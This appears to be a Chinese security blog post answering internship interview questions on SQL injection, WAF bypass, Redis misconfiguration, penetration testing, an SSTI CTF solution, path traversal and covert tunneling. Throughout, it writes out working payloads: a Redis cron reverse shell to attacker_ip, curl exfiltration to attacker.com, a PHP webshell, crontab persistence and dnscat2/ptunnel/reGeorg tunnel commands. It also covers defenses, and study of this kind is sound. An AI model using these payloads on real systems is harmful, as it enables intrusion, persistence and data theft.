网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[1. SQL二次注入原理](#1. SQL二次注入原理)
[2. 二次注入修复方案](#2. 二次注入修复方案)
SQL注入绕过WAF技巧(过滤information关键词)
[1. 关键词替代方案](#1. 关键词替代方案)
[2. 编码与混淆技术](#2. 编码与混淆技术)
[3. 协议级绕过](#3. 协议级绕过)
[1. 漏洞成因与攻击手法](#1. 漏洞成因与攻击手法)
[2. 防御方案](#2. 防御方案)
[1. 信息收集阶段](#1. 信息收集阶段)
[2. 漏洞利用阶段](#2. 漏洞利用阶段)
[3. 后渗透阶段](#3. 后渗透阶段)
[1. 题目背景](#1. 题目背景)
[2. 解题思路](#2. 解题思路)
[1. 漏洞利用方式](#1. 漏洞利用方式)
[2. 文件名探测策略](#2. 文件名探测策略)
[1. 非交互式利用方法](#1. 非交互式利用方法)
[2. 存储型利用](#2. 存储型利用)
[1. DNS隧道(dnscat2)](#1. DNS隧道(dnscat2))
[2. ICMP隧道(ptunnel)](#2. ICMP隧道(ptunnel))
[3. HTTP隧道(reGeorg)](#3. HTTP隧道(reGeorg))
腾讯-技术安全实习生
sql二次注入原理 二次注入修复 sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过 redis未授权访问 渗透测试完整流程 打CTF印象比较深刻的题目 文件下载漏洞利用方式 利用文件下载漏洞找文件名具体是找什么文件名(读取文件一般会读取哪些文件)(ctf中?实战中) 命令执行漏洞,http不出网有什么比较号的处理方法(发散一点说) 接上一题,通过隧道通信,详细讲讲通过上面类型的隧道,讲讲具体的操作
SQL二次注入原理与防御
1. SQL二次注入原理
核心机制:攻击数据经过存储后触发漏洞,区别于普通注入的即时执行。
- 攻击流程 :
- 初次输入 :用户提交恶意数据(如
admin'--
),数据被存入数据库- 数据存储:系统未对存储数据进行安全处理(如转义或过滤)
- 二次调用:程序从数据库读取该数据并拼接SQL语句(如更新密码操作)
- 漏洞触发 :恶意字符破坏SQL结构(如
UPDATE users SET password='...' WHERE username='admin'-- '
)隐蔽性分析:
- 初次输入可能通过严格过滤,但存储后的调用环节未做二次校验
- 常见场景:用户注册、评论功能、数据导入导出
案例:某CMS用户注册漏洞
- 注册用户名为
test' OR 1=1--
,后续密码重置功能触发SQL执行
2. 二次注入修复方案
多层次防御体系:
- 输入层过滤 :对特殊字符转义(如PHP的
mysqli_real_escape_string
)- 存储层处理:入库前统一编码(如Base64或HEX编码)
- 执行层防护 :强制使用预编译语句(Java的
PreparedStatement
)- 权限隔离 :数据库账户仅赋予最小必要权限(禁用
FILE
权限)代码示例:
python`# 错误做法:直接拼接SQL cursor.execute(f"UPDATE users SET email='{email}' WHERE id={user_id}") # 正确做法:参数化查询 cursor.execute("UPDATE users SET email=%s WHERE id=%s", (email, user_id))`
SQL注入绕过WAF技巧(过滤information关键词)
1. 关键词替代方案
- 系统表绕过 :
- MySQL:使用
sys.schema_auto_increment_columns
替代information_schema
- PostgreSQL:
pg_catalog.pg_tables
- 盲注技术 :
- 布尔盲注:通过页面响应差异判断数据内容
- 时间盲注:
IF(SUBSTR(database(),1,1)='a', SLEEP(5), 0)
- 错误回显利用 :
- 触发报错泄露数据(如
exp(~(SELECT * FROM (SELECT USER())a))
)2. 编码与混淆技术
- 十六进制编码 :
0x696E666F726D6174696F6E
(information的HEX)- 注释分割 :
inf/**/ormation
- 大小写混合 :
InForMAtiOn
3. 协议级绕过
- 分块传输:利用Transfer-Encoding: chunked绕过WAF检测
- 参数污染 :
id=1&id=2 UNION SELECT 1,2,3
- HTTP参数拆分:通过换行符或特殊分隔符干扰WAF解析
Redis未授权访问攻防
1. 漏洞成因与攻击手法
- 漏洞条件 :
- Redis绑定0.0.0.0且未设置密码
- 防火墙未限制外网访问(默认端口6379)
- 攻击方式 :
写入SSH公钥 :
bash`redis-cli -h target_ip config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3NzaC...\n\n" save `
计划任务反弹Shell :
bash`set cron "\n\n* * * * * bash -i >& /dev/tcp/attacker_ip/port 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save `
Webshell写入 :
通过Redis写入PHP文件到Web目录2. 防御方案
- 网络层:限制IP白名单访问,禁用公网暴露
- 服务层:启用认证(requirepass配置项)
- 系统层:以低权限用户运行Redis,禁用高危命令(rename-command FLUSHALL "")
渗透测试全流程解析
1. 信息收集阶段
- 主动扫描:Nmap(端口扫描)、Masscan(全网段扫描)
- 被动情报 :
- WHOIS查询、证书透明度(CT Log)
- GitHub搜索(代码泄露)、Shodan(设备指纹)
- 社会工程:钓鱼邮件分析、员工信息收集(LinkedIn)
2. 漏洞利用阶段
- 自动化工具 :
- SQLMap(注入漏洞)、Metasploit(漏洞利用框架)
- 手动验证 :
- 越权测试(修改Cookie或ID参数)
- 文件上传绕过(Content-Type、双后缀名)
3. 后渗透阶段
- 权限维持 :
- Windows:黄金票据、WMI订阅
- Linux:SSH公钥植入、Crontab后门
- 横向移动 :
- 密码喷洒攻击(Kerberos协议)
- Pass-the-Hash(NTLM哈希传递)
- 数据窃取 :
- 数据库导出(mysqldump)
- 敏感文件打包压缩(tar + OpenSSL加密传输)
CTF经典题目解析(Web方向)
1. 题目背景
- 场景描述 :某次CTF中遇到一道基于Python Flask的SSTI(服务端模板注入)题目,过滤了
{``{}}
等常见字符2. 解题思路
绕过过滤 :
- 使用
{% if request.args.x %}...{% endif %}
触发代码执行- 通过
|attr
访问对象属性(如config|attr("__class__")
)利用链构造 :
python`{``{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat flag').read() }}`
工具辅助:使用tplmap自动化检测SSTI漏洞
文件下载漏洞利用与文件名探测
1. 漏洞利用方式
- 路径遍历 :
- 经典Payload:
../../../../etc/passwd
- 编码绕过:
..%252f..%252fetc/passwd
(双重URL编码)- 文件类型绕过 :
- 强制下载文本文件(
file=image.jpg/.php
)- 结合文件包含漏洞(PHP的
php://filter
读取源码)2. 文件名探测策略
- CTF常见目标 :
/flag
、/flag.txt
、/app/secret_key
- Web配置文件:
/var/www/html/config.php
- 实战敏感文件 :
- 数据库凭证:
/WEB-INF/classes/db.properties
- 备份文件:
backup.zip
、database.sql.bak
- 日志文件:
/var/log/apache2/access.log
命令执行漏洞不出网场景处理
1. 非交互式利用方法
延时盲注 :
sleep 5
判断命令是否执行- 通过响应时间差异推断执行结果
DNS外带数据 :
bash`curl http://attacker.com/$(whoami |base64).evil.com `
HTTP日志外带 :
将命令结果写入Web日志,通过访问日志读取2. 存储型利用
写入Web目录 :
bash`echo "<?php system($_GET['cmd']);?>" > /var/www/html/shell.php `
计划任务定时执行 :
bash`(crontab -l; echo "* * * * * curl http://attacker.com/$(date)") | crontab -`
隧道通信技术详解
1. DNS隧道(dnscat2)
服务端搭建 :
bash`dnscat2-server --domain=evil.com `
客户端连接 :
bash`dnscat2-client --dns server=evil.com --secret=password `
数据封装:将TCP流量封装在DNS查询的TXT记录中
2. ICMP隧道(ptunnel)
服务端启动 :
bash`ptunnel -x password `
客户端配置 :
bash`ptunnel -p server_ip -lp 1080 -da target_ip -dp 22 -x password `
流量伪装:通过ICMP Echo Request/Reply传输数据
3. HTTP隧道(reGeorg)
上传代理脚本 :将
tunnel.jsp
部署到目标Web服务器本地连接 :
bash`python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.jsp `
协议穿透:通过HTTP长连接转发TCP流量
总结与扩展思考
以上问题覆盖了Web安全的核心知识点,在实战中需注意:
- 漏洞组合利用:如文件下载+文件包含实现RCE
- 绕过技术的演进:AI生成绕过Payload(如GPT构造混淆语句)
- 防御纵深建设:从网络层到应用层的多层次防护